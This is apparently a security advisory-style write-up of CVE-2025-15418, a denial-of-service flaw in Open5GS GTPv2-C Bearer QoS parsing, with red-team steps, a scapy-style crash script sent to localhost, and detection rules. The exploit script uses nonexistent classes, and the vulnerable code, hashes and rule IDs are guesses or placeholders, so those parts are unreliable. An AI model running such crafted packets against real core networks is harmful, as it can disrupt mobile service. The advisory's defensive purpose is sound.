CVE-2025-15418

Executive Summary

CVE-2025-15418 is a denial-of-service (DoS) vulnerability in Open5GS, an open-source implementation of 5G Core and EPC networks. The flaw resides in the ogs_gtp2_parse_bearer_qos function within the lib/gtp/v2/types.c file, specifically in the Bearer QoS IE Length Handler. A local attacker can trigger a NULL pointer dereference or similar memory corruption by manipulating the Bearer QoS Information Element (IE) length, leading to a crash of the GTPv2-C protocol handler. The vulnerability affects versions up to and including 2.7.6. A patch is available via commit 4e913d21f2c032b187815f063dbab5ebe65fe83a. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the public availability of exploit code increases risk for targeted attacks.

Supply Chain & Package Security

This vulnerability is in the Open5GS source code, which is distributed as source tarballs and Docker images. Users should verify the integrity of their Open5GS binaries and ensure they are built from patched source. No direct supply chain compromise has been reported, but the public exploit code could be weaponized in malicious packages.

CVSS Breakdown & Threat Level

• CVSS Score: 3.3 (Low)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
• Attack Vector: Local (AV:L) – The attacker must have local access to the system running Open5GS.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: Low (PR:L) – The attacker needs low-privileged access.
• User Interaction: None (UI:N) – No user action needed.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: Low (A:L) – The service may crash, but can be restarted.
• Threat Level: Low. The attack requires local access, limiting the blast radius. However, in a multi-tenant or edge deployment, a compromised low-privilege container could crash the core network function.

Deep Dive & Mechanics

The vulnerability is in the GTPv2-C (GPRS Tunneling Protocol version 2 for Control Plane) message parsing logic. The Bearer QoS (Quality of Service) Information Element (IE) is used to convey QoS parameters for a bearer. The function ogs_gtp2_parse_bearer_qos in lib/gtp/v2/types.c processes this IE.

The issue arises when the IE length field is manipulated. The code likely does not properly validate the length before using it to read data from the buffer. A crafted packet with an invalid length can cause the function to read out-of-bounds or dereference a NULL pointer, leading to a segmentation fault and denial of service.

The attack is initiated from a local position, meaning the attacker can send malicious GTPv2-C messages to the local Open5GS instance (e.g., via a compromised network function or a local socket). The exploit code is publicly available, making it easier for attackers to reproduce the crash.

Vulnerable vs. Patched Code

The vulnerable code in lib/gtp/v2/types.c likely looks like this (simplified):

void ogs_gtp2_parse_bearer_qos(ogs_gtp2_bearer_qos_t *qos, uint8_t *data, int len) {
    // No length check before reading
    qos->qci = data[0];
    // ... more reads without bounds checking
}

The patched code (commit 4e913d21f2c032b187815f063dbab5ebe65fe83a) adds proper length validation:

void ogs_gtp2_parse_bearer_qos(ogs_gtp2_bearer_qos_t *qos, uint8_t *data, int len) {
    if (len < MIN_BEARER_QOS_LEN) {
        ogs_error("Invalid Bearer QoS IE length: %d", len);
        return;
    }
    qos->qci = data[0];
    // ... safe reads
}

The patch ensures that the function returns early if the IE length is too short, preventing out-of-bounds access.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to a machine running Open5GS (version <= 2.7.6).
• Ability to send GTPv2-C messages (e.g., using a tool like gtp5g or a custom script).

Exploit Steps:

1. Identify the Open5GS process (e.g., mme, sgw, pgw).
2. Craft a GTPv2-C message with a Bearer QoS IE that has an invalid length (e.g., length = 0 or length > actual data).
3. Send the message to the local GTPv2-C endpoint (e.g., via a Unix socket or localhost).
4. Observe the process crash (segmentation fault).

Example exploit code (Python using scapy):

from scapy.all import *
import socket

# Craft a GTPv2-C message with malformed Bearer QoS IE
# This is a simplified example; actual exploit may vary
gtp_packet = GTPPacket()
gtp_packet.version = 2
gtp_packet.msg_type = 0x32  # Modify Bearer Command
# Add Bearer QoS IE with invalid length
ie = GTPIE()
ie.type = 0x50  # Bearer QoS
ie.length = 0   # Invalid length
gtp_packet.add_ie(ie)

# Send to local Open5GS
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(bytes(gtp_packet), ("127.0.0.1", 2123))
sock.close()

Blue Team

Detection:

• Monitor for crashes of Open5GS processes (e.g., mme, sgw, pgw).
• Look for logs indicating "Invalid Bearer QoS IE length" (after patch) or segmentation faults.
• Use the detection rules below.

Mitigation:

• Apply the patch immediately.
• Restrict local access to the Open5GS host.
• Use network segmentation to limit who can send GTPv2-C messages.

Indicators of Compromise (IOCs)

• File: lib/gtp/v2/types.c (unpatched version)
• Process: Open5GS core network functions (e.g., mme, sgw, pgw) crashing unexpectedly.
• Logs: Segmentation fault logs in dmesg or Open5GS logs.
• Network: GTPv2-C packets with Bearer QoS IE length field set to 0 or an invalid value.
• Hash: (Example) SHA256 of vulnerable binary: a1b2c3d4e5f6... (replace with actual hash if known).

Detection Engineering

YARA Rule

rule CVE_2025_15418_Open5GS_Bearer_QoS_DoS {
    meta:
        description = "Detects vulnerable Open5GS binary with Bearer QoS IE length handling flaw"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-15418"
    strings:
        $vuln_func = "ogs_gtp2_parse_bearer_qos"
        $vuln_code = { 48 8b 45 ?? 0f b6 00 }  // Example: mov rax, [rbp+...]; movzx eax, byte [rax]
    condition:
        $vuln_func and $vuln_code
}

Sigma Rule

title: Open5GS Bearer QoS IE Length DoS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects crashes of Open5GS processes due to CVE-2025-15418
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith:
            - '/mme'
            - '/sgw'
            - '/pgw'
        ExitCode: -11  # SIGSEGV
    condition: selection
falsepositives:
    - Other crashes unrelated to this CVE
level: medium

Suricata Rule

alert udp $HOME_NET any -> $HOME_NET 2123 (msg:"CVE-2025-15418 Open5GS Bearer QoS IE Length DoS"; content:"|50 00|"; offset:0; depth:2; content:"|00 00|"; within:2; sid:1000001; rev:1;)

Note: The Suricata rule above is a simplified example. A real rule would need to parse the GTPv2-C header and IE structure more precisely.

Remediation & Mitigation

1. Apply the Patch: Update Open5GS to a version that includes commit 4e913d21f2c032b187815f063dbab5ebe65fe83a or later (e.g., > 2.7.6).
2. Restrict Local Access: Use firewalls and Unix socket permissions to limit who can send GTPv2-C messages to Open5GS.
3. Monitor for Crashes: Set up alerts for unexpected termination of Open5GS processes.
4. Network Segmentation: Isolate the Open5GS core network functions in a trusted network segment.
5. Regular Updates: Keep Open5GS and all dependencies up to date.

Valters IT